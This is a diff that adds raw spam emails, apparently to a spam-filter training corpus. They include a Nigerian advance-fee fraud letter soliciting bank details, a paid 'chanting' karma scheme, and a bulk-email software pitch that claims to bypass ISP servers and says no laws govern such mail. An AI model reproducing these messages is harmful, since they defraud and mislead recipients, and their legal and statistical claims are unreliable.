+Message-Id: <00001ecc2543$0000059f$00007a16@mx2.mail.yahoo.com> +To: +From: vret21v2137@yahoo.com +Subject: Toners and inkjet cartridges for less DFI +Date: Fri, 31 May 2002 15:09:19 -1600 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +
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compliant + with all federal and state laws regarding email messages including the + California Business and Professions Code=2E We have provided the subject + line =22ADV=22 to provide you notification that this is a commercial + advertisement for persons over 18yrs old=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FTD=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E +=3CSTYLE=3E=3C=2FSTYLE=3E +=3CBR=3E=3CBR=3E=3CBR=3E=3CBR=3E=3CA href=3D=22=22=3E=3C=2FA=3E=3CBR=3E=3CBR=3E=3CBR=3E=3CBR=3E=3CBR=3E=3CA +href=3D=22=22=3E=3C=2FA=3E=3CBR=3E=3C=2FBODY=3E=3C=2FHTML=3E + + diff --git a/bayes/spamham/spam_2/00548.f4dde895ab6df412dbd309ebe3cf1533 b/bayes/spamham/spam_2/00548.f4dde895ab6df412dbd309ebe3cf1533 new file mode 100644 index 0000000..1436d6f --- /dev/null +++ b/bayes/spamham/spam_2/00548.f4dde895ab6df412dbd309ebe3cf1533 @@ -0,0 +1,51 @@ +From jonas.greutert@netmodule.com Mon Jun 24 17:50:12 2002 +Return-Path: jimmiester@hanmesoft.co.kr +Delivery-Date: Sat Jun 1 23:10:57 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g51MAeO25481 for + ; Sat, 1 Jun 2002 23:10:41 +0100 +Received: from asptown.co.kr ([211.52.47.8]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g51MAa718129 for + ; Sat, 1 Jun 2002 23:10:38 +0100 +Message-Id: <200206012210.g51MAa718129@mandark.labs.netnoteinc.com> +Received: from chekitb5876.com (195.27.92.154) by asptown.co.kr + (211.52.47.8) with [Nmail V3.1 20010905(S)] for from + ; Sun, 02 Jun 2002 02:37:30 +0900 +From: "jonas.greutert" +To: jonas.greutert@netmodule.com +Cc: arkbishop@netmore.net, ster@netnames.net, + modifications@netnamesusa.com, acme@netnaples.com, assemrek@netnation.com, + crwagner@netnautics.com, ccorner@netnav.com, firstflight@netnc.com, + aaadesin@netnet.net, absolute@netnevada.net, bhoffman@netnico.net, + oe@netnik.com, aab@netnitco.net, drum@netnoir.com, a.jacks@netnoir.net, + roberts@netnomics.com, jm@netnoteinc.com, al@netnow.net, + anish@netnumina.com, gordie.mah@netnups.com, rob@netnut.net, + bob@netnv.net, acs@neto.com, always@neto.net, bobby@netoak.com, + useitagain@netoasis.com, drake@netobjective.net, davida@netobjects.com +Date: Sat, 1 Jun 2002 10:40:20 -0700 +Subject: Two Weeks To $3,500 Cash... +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +MIME-Version: 1.0 +X-Precedence-Ref: l234056789zxcvbnmlkjhgfq +X-Keywords: +Content-Type: text/html; charset=us-ascii +Content-Transfer-Encoding: 7bit + + + + + + + + + + + + + +
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    + + + diff --git a/bayes/spamham/spam_2/00549.7520259c1001cefa09ddd6aaef814287 b/bayes/spamham/spam_2/00549.7520259c1001cefa09ddd6aaef814287 new file mode 100644 index 0000000..23b7774 --- /dev/null +++ b/bayes/spamham/spam_2/00549.7520259c1001cefa09ddd6aaef814287 @@ -0,0 +1,139 @@ +From Emailcentre@up369.com Mon Jun 24 17:49:51 2002 +Return-Path: Emailcentre@up369.com +Delivery-Date: Sat Jun 1 18:45:24 2002 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g51HjOO17282 for + ; Sat, 1 Jun 2002 18:45:24 +0100 +Received: from up369.com ([218.6.2.85]) by webnote.net (8.9.3/8.9.3) with + SMTP id SAA13456 for ; Sat, 1 Jun 2002 18:45:21 +0100 +Message-Id: <200206011745.SAA13456@webnote.net> +From: "TORE AKESSON" +To: +Subject: An Information +Sender: "TORE AKESSON" +MIME-Version: 1.0 +Date: Sun, 2 Jun 2002 01:50:21 +0800 +Reply-To: "TORE AKESSON" +X-Keywords: +Content-Type: text/html; charset="ISO-8859-1" +Content-Transfer-Encoding: 8bit + + + + + + + +An   I n f o r m a t i o n + + + + +
    +   +
    +
    +   +
    +
    +   +
    +
    +   +
    +
    + An   I n f o r m a t i o +n +
    +
    + in the age of +information +
    +
    + FINDING QUICKER SOLUTIONS AND SOLVING + PROBLEMS QUICKER +
    +
    +   +
    +
    + When you are fully booked and +overloaded + with work there are still the possibility to use the ancient mental + working methods, used by successful people, instead of the risk for + stress and burn out problems. +
    +
    +   +
    +
    + These ancient methods for shortening + waiting time, adding power to a quicker decision, eliminating stress and +the + risk for burn out, are not so commonly used, despite the methods are + known from ancient time. +
    +
    +   +
    +
    + The power in the mental working +methods + claim for no extra energy consumption so the body will not get tired, +stressed + or burn out. +
    +
    +   +
    +
    + Please check the web +site: +
    + +
    +   +
    +
    + In the compendium I, the +undersigned, will + reveile and explain my own methods - how I learned them and how I am +training + and exercizing them as well as the tactics in converting inner knowledge +to + outer reality the speediest way ever known. +
    +
    +   +
    +
    + You are most wellcome to study these + methods. +
    +
    +   +
    +
    + Best regards +
    +
    + TORE AKESSON +
    +
    + SVANEBACKEN AB +
    +
    + Hoganasvagen 79 +
    +
    + S-260 40 Viken   +-   + Sweden +
    + + + + diff --git a/bayes/spamham/spam_2/00550.f7e75438e70eb4222c1a93fd190c8ce1 b/bayes/spamham/spam_2/00550.f7e75438e70eb4222c1a93fd190c8ce1 new file mode 100644 index 0000000..fc42541 --- /dev/null +++ b/bayes/spamham/spam_2/00550.f7e75438e70eb4222c1a93fd190c8ce1 @@ -0,0 +1,142 @@ +From Emailcentre@up369.com Mon Jun 24 17:49:58 2002 +Return-Path: Emailcentre@up369.com +Delivery-Date: Sat Jun 1 18:45:32 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g51HjVO17292 for + ; Sat, 1 Jun 2002 18:45:31 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g51HjU717472 for + ; Sat, 1 Jun 2002 18:45:30 +0100 +Received: from up369.com ([218.6.2.85]) by webnote.net (8.9.3/8.9.3) with + SMTP id SAA13460 for ; Sat, 1 Jun 2002 18:45:26 +0100 +Message-Id: <200206011745.SAA13460@webnote.net> +From: "TORE AKESSON" +To: +Subject: An Information +Sender: "TORE AKESSON" +MIME-Version: 1.0 +Date: Sun, 2 Jun 2002 01:50:26 +0800 +Reply-To: "TORE AKESSON" +X-Keywords: +Content-Type: text/html; charset="ISO-8859-1" +Content-Transfer-Encoding: 8bit + + + + + + + +An   I n f o r m a t i o n + + + + +
    +   +
    +
    +   +
    +
    +   +
    +
    +   +
    +
    + An   I n f o r m a t i o +n +
    +
    + in the age of +information +
    +
    + FINDING QUICKER SOLUTIONS AND SOLVING + PROBLEMS QUICKER +
    +
    +   +
    +
    + When you are fully booked and +overloaded + with work there are still the possibility to use the ancient mental + working methods, used by successful people, instead of the risk for + stress and burn out problems. +
    +
    +   +
    +
    + These ancient methods for shortening + waiting time, adding power to a quicker decision, eliminating stress and +the + risk for burn out, are not so commonly used, despite the methods are + known from ancient time. +
    +
    +   +
    +
    + The power in the mental working +methods + claim for no extra energy consumption so the body will not get tired, +stressed + or burn out. +
    +
    +   +
    +
    + Please check the web +site: +
    + +
    +   +
    +
    + In the compendium I, the +undersigned, will + reveile and explain my own methods - how I learned them and how I am +training + and exercizing them as well as the tactics in converting inner knowledge +to + outer reality the speediest way ever known. +
    +
    +   +
    +
    + You are most wellcome to study these + methods. +
    +
    +   +
    +
    + Best regards +
    +
    + TORE AKESSON +
    +
    + SVANEBACKEN AB +
    +
    + Hoganasvagen 79 +
    +
    + S-260 40 Viken   +-   + Sweden +
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BEN KOKORI + +Compliments of the season. I would like to firstly send to you the best wishes of good health and success in your pursuits particularly through my proposal as Contained in this letter. Before going into details of my proposal to you, I must first implore you to treat with the utmost confidentiality, as this is required for its success. + +My colleagues and I are senior officials of the Federal Government of Nigeria’s Contracts Review Panel (CRP) who are interested in diverting some funds that are presently floating in the accounts of the Central Bank of Nigeria. + +In order to commence this transaction, we solicit for your assistance to enable us transfer into your nominated account the said floating funds. We are determined to conclude the transfer before the end of this quarter of 2002. The source of the funds is as follows: During the last military regime in Nigeria, government Officials set up companies and awarded themselves contracts that were grossly over-invoiced in various ministries and parastatals. The present civilian government set up the contract Review Panel, which has the mandate to use the instruments of payments made available to it by the decree setting up the panel, to review these contracts and if necessary pay those who are being owed outstanding amounts. My colleagues and I have identified quite a huge sum of these funds which are presently floating in the Central Bank of Nigeria ready for disbursement and would like to divert some of it for our own purposes. However, by virtue of our positions as civil servants ! +and members of this panel, we cannot acquire these funds in our names or in the names of companies that are based in Nigeria. I have therefore been mandated, as a matter of trust by my colleagues in the panel, to look for a reliable overseas partner into whose account we can transfer the sum of U.S.$25,500,000.00 (Twenty Five million, five hundred thousand U.S.dollars). That is why I am writing you this letter. +We have agreed to share the money to be Transferred into your account, if you agree with our proposition as follows; (i) 20%to the account owner (you). ( ii) 70% for us (the panel officials (iii)10% to be used in settling all expenses(by both you and us) incidental to the actualization of this project. + +We wish to invest our share of the proceeds of this project in foreign stock markets and other business till we are ready and able to have access to them without raising any eyebrows here at home. Please note that this transaction is 100% safe and risk-free. We +Intend to effect the transfer within fourteen (14) banking days from the date of receipt of the following information through the fax number stated above_-:Your Bank's name, Company’s name, address, telephone and fax numbers and the account number into which the funds should be paid. The above information will enable us write letters of claim and job description respectively. This way, we will use your company’s name to apply for the payment and backdate the award of the contract to your company. We are looking forward to doing this transaction with you and we solicit for your utmost confidentiality in this transaction. +Please acknowledge the receipt of this letter using my direct Telephone number 234 1775 5791 and my America Internet Fax number 240 744 0416 or 801 516 7986 only. +It was acquired for the purpose of confidentiality. I will bring you into a more detailed picture of this transaction when I hear from you. + +Best regards, + +BEN KOKORI + + + + + + + + + + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00555.75544646fbe1fd3cb3717fb02a72e824 b/bayes/spamham/spam_2/00555.75544646fbe1fd3cb3717fb02a72e824 new file mode 100644 index 0000000..d4ea3a6 --- /dev/null +++ b/bayes/spamham/spam_2/00555.75544646fbe1fd3cb3717fb02a72e824 @@ -0,0 +1,134 @@ +From daniele94@hotmail.com Mon Jun 24 17:48:05 2002 +Return-Path: daniele94@hotmail.com +Delivery-Date: Sat Jun 1 02:47:17 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g511lGO05786 for + ; Sat, 1 Jun 2002 02:47:16 +0100 +Received: from chiselmonkeys.com ([64.30.221.249]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g511lE714988 for + ; Sat, 1 Jun 2002 02:47:15 +0100 +Received: from centuryc.com ([212.160.195.114]) by chiselmonkeys.com with + Microsoft SMTPSVC(5.0.2195.4453); Fri, 31 May 2002 18:51:18 -0700 +Message-Id: <000057fc45f9$00002ccd$0000567b@wlq0jdqee6gaw.net> +To: , , +Cc: , , +From: daniele94@hotmail.com +Subject: Fw: Want to Save yourself a trip to the store? 17579 +Date: Sat, 01 Jun 2002 09:53:28 -1600 +MIME-Version: 1.0 +Reply-To: daniele94@hotmail.com +X-Originalarrivaltime: 01 Jun 2002 01:51:19.0164 (UTC) FILETIME=[D2DC4BC0:01C2090E] +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +Do you Have an Epson or Canon Printer? + + + +  +
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    + + + +------=_NextPart_000_49E3B3_01C20A41.97599E20-- diff --git a/bayes/spamham/spam_2/00566.9b3e6f0ed54a232fcf6533c75d5c218e b/bayes/spamham/spam_2/00566.9b3e6f0ed54a232fcf6533c75d5c218e new file mode 100644 index 0000000..9fd6c5d --- /dev/null +++ b/bayes/spamham/spam_2/00566.9b3e6f0ed54a232fcf6533c75d5c218e @@ -0,0 +1,44 @@ +From egtan@yahoo.com Mon Jun 24 17:51:57 2002 +Return-Path: egtan@yahoo.com +Delivery-Date: Sun Jun 2 14:22:16 2002 +Received: from scythe.pacific.net.sg (scythe.pacific.net.sg + [203.120.90.37]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g52DMFO28362 for ; Sun, 2 Jun 2002 14:22:15 +0100 +Received: from smtp2.pacific.net.sg (smtp2.pacific.net.sg + [203.120.90.169]) by scythe.pacific.net.sg with ESMTP id g52DM6O22698 for + ; Sun, 2 Jun 2002 21:22:07 +0800 +Received: from yahoo.com (ppp16.dyn105.pacific.net.sg [210.24.105.16]) by + smtp2.pacific.net.sg with SMTP id g52DM5r26937 for jm@jmason.org; + Sun, 2 Jun 2002 21:22:05 +0800 +Message-Id: <200206021322.g52DM5r26937@smtp2.pacific.net.sg> +From: "Tan E.G.Tan E.G." +To: +Subject: Blessing People +Date: Sun, 02 Jun 2002 21:27:41 -0600 +MIME-Version: 1.0 +Content-Type: text/plain; Charset = "us-ascii" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: EBMailer 3.11 (www.ebmailer.com) +X-Keywords: +Content-Transfer-Encoding: 7bit + +Hi There, + +I wanted to spread this good karma to you. + +This is my true experiance. Six months back my shoe company was going bankrupt in a time of one month. I have no where to turn to. Luckily I met this guy Michael at www.blessing-people.com This is a non-profit web site. He really saved me. He started to chant for mine business without asking for any money when I told him my story. In just 10 days my business turn around. At the end of the month I could pay my monthly loan instalment. Thing steadily stabilized. Immediately I subscribe to his chanting servies. Those money Michael collected are for donation later in every year. I know I must have been creating good karma by subscribing to his prayers services. Now I am hunting for my second shop. Thanks to Michael. + +I do not have any connection to him. I am just spreading this good karma just to repay what he had did for me. I deeply know what ever he did it's a miracle to me. Even until today all I know was Michael chant for me & many people.. And many miracle happened. + +I am sorry if this email annoy you. I am not promoting Michael or my business this email can be clearly seen. + +Please help spread this good karma around. Direct people to Michael. Creat good karma today for you future! + + + +Tan E.G. + +@pls: Click www.blessing-people.com Go there to feel his energy!! + + diff --git a/bayes/spamham/spam_2/00567.9a792928197fff7a7a38aee412bf4a07 b/bayes/spamham/spam_2/00567.9a792928197fff7a7a38aee412bf4a07 new file mode 100644 index 0000000..735f173 --- /dev/null +++ b/bayes/spamham/spam_2/00567.9a792928197fff7a7a38aee412bf4a07 @@ -0,0 +1,44 @@ +From egtan@yahoo.com Mon Jun 24 17:52:08 2002 +Return-Path: egtan@yahoo.com +Delivery-Date: Sun Jun 2 14:23:08 2002 +Received: from scythe.pacific.net.sg (scythe.pacific.net.sg + [203.120.90.37]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g52DN7O28376 for ; Sun, 2 Jun 2002 14:23:07 +0100 +Received: from smtp2.pacific.net.sg (smtp2.pacific.net.sg + [203.120.90.169]) by scythe.pacific.net.sg with ESMTP id g52DN1O23403 for + ; Sun, 2 Jun 2002 21:23:01 +0800 +Received: from yahoo.com (ppp16.dyn105.pacific.net.sg [210.24.105.16]) by + smtp2.pacific.net.sg with SMTP id g52DN0r27434 for jm-nospam@jmason.org; + Sun, 2 Jun 2002 21:23:00 +0800 +Message-Id: <200206021323.g52DN0r27434@smtp2.pacific.net.sg> +From: "Tan E.G.Tan E.G." +To: +Subject: Blessing People +Date: Sun, 02 Jun 2002 21:28:37 -0600 +MIME-Version: 1.0 +Content-Type: text/plain; Charset = "us-ascii" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: EBMailer 3.11 (www.ebmailer.com) +X-Keywords: +Content-Transfer-Encoding: 7bit + +Hi There, + +I wanted to spread this good karma to you. + +This is my true experiance. Six months back my shoe company was going bankrupt in a time of one month. I have no where to turn to. Luckily I met this guy Michael at www.blessing-people.com This is a non-profit web site. He really saved me. He started to chant for mine business without asking for any money when I told him my story. In just 10 days my business turn around. At the end of the month I could pay my monthly loan instalment. Thing steadily stabilized. Immediately I subscribe to his chanting servies. Those money Michael collected are for donation later in every year. I know I must have been creating good karma by subscribing to his prayers services. Now I am hunting for my second shop. Thanks to Michael. + +I do not have any connection to him. I am just spreading this good karma just to repay what he had did for me. I deeply know what ever he did it's a miracle to me. Even until today all I know was Michael chant for me & many people.. And many miracle happened. + +I am sorry if this email annoy you. I am not promoting Michael or my business this email can be clearly seen. + +Please help spread this good karma around. Direct people to Michael. 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    + + diff --git a/bayes/spamham/spam_2/00570.cc1a4d6cf41350cf10e2b588dacb2dff b/bayes/spamham/spam_2/00570.cc1a4d6cf41350cf10e2b588dacb2dff new file mode 100644 index 0000000..bdcb404 --- /dev/null +++ b/bayes/spamham/spam_2/00570.cc1a4d6cf41350cf10e2b588dacb2dff @@ -0,0 +1,121 @@ +From return@trafficmagnet.net Mon Jun 24 17:52:44 2002 +Return-Path: return@trafficmagnet.net +Delivery-Date: Mon Jun 3 08:59:00 2002 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g537wpO05075 for + ; Mon, 3 Jun 2002 08:59:00 +0100 +Received: from localhost.localdomain ([211.101.236.180]) by webnote.net + (8.9.3/8.9.3) with ESMTP id IAA16752 for ; Mon, + 3 Jun 2002 08:58:49 +0100 +Received: from emaserver ([211.157.101.50]) by localhost.localdomain + (8.11.6/8.11.6) with ESMTP id g537ucY27491 for ; + Mon, 3 Jun 2002 15:56:48 +0800 +Message-Id: <203CR1000002827@emaserver.trafficmagnet.net> +Date: Mon, 3 Jun 2002 15:56:33 +0800 (CST) +From: Christine Hall +Reply-To: Christine Hall +To: yyyy@spamassassin.taint.org +Subject: http://iiu.taint.org +MIME-Version: 1.0 +X-Ema-Cid: 3653361 +X-Ema-Lid: +X-Ema-PC: 0ee34585a7f00 +X-Keywords: +Content-Type: multipart/alternative; boundary=297430269.1023090993312.JavaMail.SYSTEM.emaserver + +--297430269.1023090993312.JavaMail.SYSTEM.emaserver +Content-Type: text/plain; charset=utf-8 +Content-Transfer-Encoding: 7bit + +Hi + +I visited http://iiu.taint.org, and noticed that you're not listed on some search engines! I think we can +offer you a service which can help you increase traffic and the number of visitors to your website. + +I would like to introduce you to TrafficMagnet.net. We offer a unique technology that will submit your +website to over 300,000 search engines and directories every month. + +You'll be surprised by the low cost, and by how effective this website promotion method can be. + +To find out more about TrafficMagnet and the cost for submitting your website to over 300,000 search +engines and directories, visit www.TrafficMagnet.net. + +I would love to hear from you. + + +Best Regards, + +Christine Hall +Sales and Marketing +E-mail: christine@trafficmagnet.net +http://www.TrafficMagnet.net + +This email was sent to jm@jmason.org. +I understand that you may NOT wish to receive information from me by email. +To be removed from this and other offers, simply go to the link below: +http://emaserver.trafficmagnet.net/trafficmagnet/www/optoutredirect?UC=Lead&UI=3653361 +--297430269.1023090993312.JavaMail.SYSTEM.emaserver +Content-Type: text/html; charset=utf-8 +Content-Transfer-Encoding: 7bit + + + + + + + + + + + + + + + + +
    Hi
    +
    + I visited http://iiu.taint.org, and + noticed that you're not listed on some search engines! I think we can offer + you a service which can help you increase traffic and the number of visitors + to your website.
    +
    + I would like to introduce you to TrafficMagnet.net. We offer a unique technology + that will submit your website to over 300,000 search engines and directories + every month.
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    +

    + Best Regards,

    + Christine Hall
    + Sales and Marketing
    + E-mail: christine@trafficmagnet.net
    + http://www.TrafficMagnet.net +

     

    This email was sent to jm@jmason.org.
    + I understand that you may NOT wish to receive information from me by email.
    + To be removed from this and other offers, simply click here.
     +
    +. + + +--297430269.1023090993312.JavaMail.SYSTEM.emaserver-- + diff --git a/bayes/spamham/spam_2/00571.55308502c471ca21f3ce1aa0782fdba6 b/bayes/spamham/spam_2/00571.55308502c471ca21f3ce1aa0782fdba6 new file mode 100644 index 0000000..13297ee --- /dev/null +++ b/bayes/spamham/spam_2/00571.55308502c471ca21f3ce1aa0782fdba6 @@ -0,0 +1,43 @@ +From hdtrade@dreamwiz.com Mon Jun 24 17:52:50 2002 +Return-Path: hdtrade@dreamwiz.com +Delivery-Date: Mon Jun 3 09:02:07 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g53826O05254 for + ; Mon, 3 Jun 2002 09:02:06 +0100 +Received: from relay6.kornet.net ([211.48.62.166]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g53822726720 for + ; Mon, 3 Jun 2002 09:02:03 +0100 +Received: from hyundaitrade (211.196.206.210) by relay6.kornet.net; + 3 Jun 2002 17:01:55 +0900 +Message-Id: <3cfb22733e96eeeb@relay6.kornet.net> (added by relay6.kornet.net) +From: hdtrade@dreamwiz.com +Subject: Personal Alcohol Detector +To: yyyy@netnoteinc.com +Reply-To: hyundaitrade@hyundaitrade.com +Date: Mon, 3 Jun 2002 17:06:35 +0900 +X-Priority: 3 +X-Library: Indy 8.0.25 +X-Keywords: +Content-Type: text/html;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + + + +For your safe drive...and keep your safety with PersonalAlcoholDetector.. + + + + +

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    This message is in full compliance with U.S. +Federal requirements for commercial email under bill S.1618 Title lll, Section +301, Paragraph (a)(2)(C) passed by the 105th U.S. Congress and cannot be +considered SPAM since it includes a remove mechanism.  If you are not interested +in receiving our e-mails then please reply with a "remove " in the subject line.

    + + + diff --git a/bayes/spamham/spam_2/00572.4657e353354321dfd7c39c6a07a90452 b/bayes/spamham/spam_2/00572.4657e353354321dfd7c39c6a07a90452 new file mode 100644 index 0000000..6577723 --- /dev/null +++ b/bayes/spamham/spam_2/00572.4657e353354321dfd7c39c6a07a90452 @@ -0,0 +1,153 @@ +From vag7pu@worldnet.att.net Mon Jun 24 17:53:36 2002 +Return-Path: vag7pu@worldnet.att.net +Delivery-Date: Mon Jun 3 15:58:21 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g53EwKO17541 for + ; Mon, 3 Jun 2002 15:58:20 +0100 +Received: from dataflyer.morenorivera.com + (adsl-216-102-106-173.dsl.scrm01.pacbell.net [216.102.106.173]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g53EwH727577 for + ; Mon, 3 Jun 2002 15:58:18 +0100 +Received: from ywprf.geocities.com ([206.111.218.58]) by + dataflyer.morenorivera.com (8.9.1/8.9.1) with SMTP id IAA10162; + Mon, 3 Jun 2002 08:23:42 GMT +Date: Mon, 3 Jun 2002 08:23:42 GMT +From: vag7pu@worldnet.att.net +Message-Id: <200206030823.IAA10162@dataflyer.morenorivera.com> +To: kaszatom@poczta.onet.pl, yyyy@netnoteinc.com, jimfitz@attmail.com, + johnc1@ltinet.com, jvaughnsdeals@excite.com +Reply-To: margrettportnoy3219@excite.com +Subject: Got Cash? [mparu] +X-Mailer: WEBmail 2.70 +X-Keywords: +Content-Type: text/html; charset=ISO-8859-1 + + +
    + +There are more financial opportunities out there than ever +before. The majority of those that succeed don't follow the +rules, they bend them, avoid them or go around them.

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    +To receive no further offers from our company regarding +this subject or any other, please reply to this +e-mail with the word 'Remove' in the subject line.

    + +
    + + +vag7pu diff --git a/bayes/spamham/spam_2/00573.f33cc9f9253eda8eceaa7ace8f1a0f50 b/bayes/spamham/spam_2/00573.f33cc9f9253eda8eceaa7ace8f1a0f50 new file mode 100644 index 0000000..24a31af --- /dev/null +++ b/bayes/spamham/spam_2/00573.f33cc9f9253eda8eceaa7ace8f1a0f50 @@ -0,0 +1,392 @@ +From WEBMASTER@TAIONE.ORG Mon Jun 24 17:54:23 2002 +Return-Path: mmailco@mail.com +Delivery-Date: Tue Jun 4 07:39:11 2002 +Received: from WatersTruck.com (mail.goldentriangleima.org + [65.116.55.171]) by dogma.slashnull.org (8.11.6/8.11.6) with SMTP id + g546dAO23968 for ; Tue, 4 Jun 2002 07:39:10 +0100 +Message-Id: <200206040639.g546dAO23968@dogma.slashnull.org> +Received: from plain (dial-212-1-148-116.access.uk.tiscali.com + [212.1.148.116]) by WatersTruck.com; Mon, 03 Jun 2002 10:56:23 -0500 +From: WEBMASTER@TAIONE.ORG +Reply-To: mmailco@mail.com +To: WEBMASTER@TAIONE.ORG +Subject: Re: Your Order +Date: Mon, 3 Jun 2002 09:20:34 +MIME-Version: 1.0 +Content-Type: text/plain; charset="DEFAULT" +X-Keywords: + +1) Let's say you... Sell a $24.95 PRODUCT or SERVICE. +2) Let's say you... Broadcast Email FREE to 500,000 PEOPLE DAILY. +3) Let's say you... Receive JUST 1 ORDER for EVERY 2,500 EMAILS. + +CALCULATION OF YOUR EARNINGS BASED ON THE ABOVE STATISTICS: +[Day 1]: $4,990 [Week 1]: $34,930 [Month 1]: $139,720 + +----- ---- --- -- - - +You now know why you receive so many email advertisements... +===> BROADCAST EMAIL ADVERTISING IS EXTREMELY PROFITABLE! + +1) What if you... Sell a $99.95 PRODUCT or SERVICE? +2) What if you... Broadcast Email to 30,000,000+ PEOPLE MONTHLY? +3) What if you... Receive 1 ORDER for EVERY 250 EMAILS? + +Just IMAGINE => DAY 30! ==> WEEK 30!! ===> MONTH 30!!! + +==> The PROFITS that Broadcast Email CAN GENERATE are AMAZING!! + +** According to Forrester Research, a Broadcast Email Ad is up +** to 15 TIMES MORE LIKELY to Result in a Sale than a Banner Ad! + +----- ---- --- -- - - +[COMPARISON OF INTERNET ADVERTISING METHODS]: +================================================================== +=> A 1/20 Page Targeted Web Site Banner Ad to 5 Million People + on the Internet can cost you about $100,000. + +=> A 5 Page Targeted Direct Mail Advertisement to 1 Million People + through the Postal Service can cost you about $500,000. + +=> A 50 Page Targeted HTML Broadcast Email Advertisement with + Pictures to 50,000,000 People through the Internet is Free. + +..Which advertising method sounds most appealing to you? + +================================================================== + +"Targeted direct email advertising is the wave of the future. + By no other means can you effectively reach your market so + quickly and inexpensively." - ONLINE PROFITS NEWSLETTER + +"Many business people are finding out that they can now advertise + in ways that they never could have afforded in the past. The + cost of sending mass e-mail is extremely low, and the response + rate is high and quick." - USA TODAY + +---- --- -- - - +[EXAMPLE OF A PERSONALIZED/TARGETED BROADCAST EMAIL]: +-------- ------- ------ ----- ---- --- -- - - +From: erica@kittiesinc.com +To: mary@comertom.com +Subject: About Your Cat! + +Hi Mary, + +Are you interested in receiving up to 80% SAVINGS on CAT SUPPLIES? +If so, come visit our web site at: http://www.kittiesinc.com + +================================================================== +=> With Broadcast Email Software, a Broadcast Email Advertisement +=> like this one can be AUTOMATICALLY sent to up to 1,000,000 +=> PEOPLE on a DAILY BASIS with LESS than 2 MINUTES of YOUR TIME! + +* IMT Strategies Reports an AVERAGE of a 16.4% CLICK THROUGH RATE + from users that have received a Broadcast Email Advertisement! + +----- ---- --- -- - - +A EUROPEAN 2001 BENCHMARK STUDY +Conducted by Forrester Research Says: + +1) 41% of Consumers Believe Email is a Good Way to Find out About + New Products. + +2) 36% of Consumers in 13 Countries Read Most of the Promotional + Email they Receive and 9% Forward the Email to a Friend Because + They Think it is Valuable. + +---- --- -- - - +BE PREPARED! You may receive A HUGE AMOUNT of orders within +minutes of sending out your first Broadcast Email Advertisement! + +* According to Digital Impact, 85% of Broadcast Email Offers are + responded to within the FIRST 48 HOURS! + +"When you reach people with e-mail, they're in a work mode, even + if they're not at work. They're sitting up, they're alert. You + catch them at a good moment, and if you do it right, you have a + really good shot of having them respond." + - WILLIAM THAMES [Revnet Direct Marketing VP] + +---- --- -- - - +* An Arthur Anderson Online Panel reveals that 85% of Online Users + say that Broadcast Email Advertisements have LED TO A PURCHASE!" + +"According to FloNetwork, US Consumers DISCOVER New Products and + Services 7+ TIMES MORE OFTEN through an Email Advertisement, + than through Search Engines, Magazines and Television COMBINED!" + +Only a HANDFUL of Companies on the Internet have Discovered +Broadcast Email Advertising... => NOW YOU CAN BE ONE OF THEM!! + +---- --- -- - - +=> United Messaging says there are 890+ MILLION EMAIL ADDRESSES! +=> GET READY! Now with Broadcast Email, You Can Reach them ALL +=> Thanks to our Broadcast Email Software! + +Our Broadcast Email Software with DNS Technology Automatically +Creates 10 SUPER-FAST MAIL SERVERS on Your COMPUTER which are +then used to Send out Your Broadcast Emails to MILLIONS for FREE! + +==> With our NEW EMAIL SENDING TECHNOLOGY... +==> Your Internet Provider's Mail Servers are NOT USED! + +There are NO Federal Regulations or Laws on Email Advertising & +Now with Our Software => You Can Avoid Internet Provider Concerns! + +================================================================== +=> If you send a Broadcast Email Advertisement to 50,000,000 +=> People and Just 1 of 5,000 People Respond, You Can Generate +=> 10,000 EXTRA ORDERS! How Much EXTRA PROFIT is this for You? +================================================================== + +------ ----- ---- --- -- - - +As Featured in: "The Boston Globe" (05/29/98), +"The Press Democrat" (01/08/99), "Anvil Media" (01/29/98): +================================================================== +[NIM Corporation Presents]: 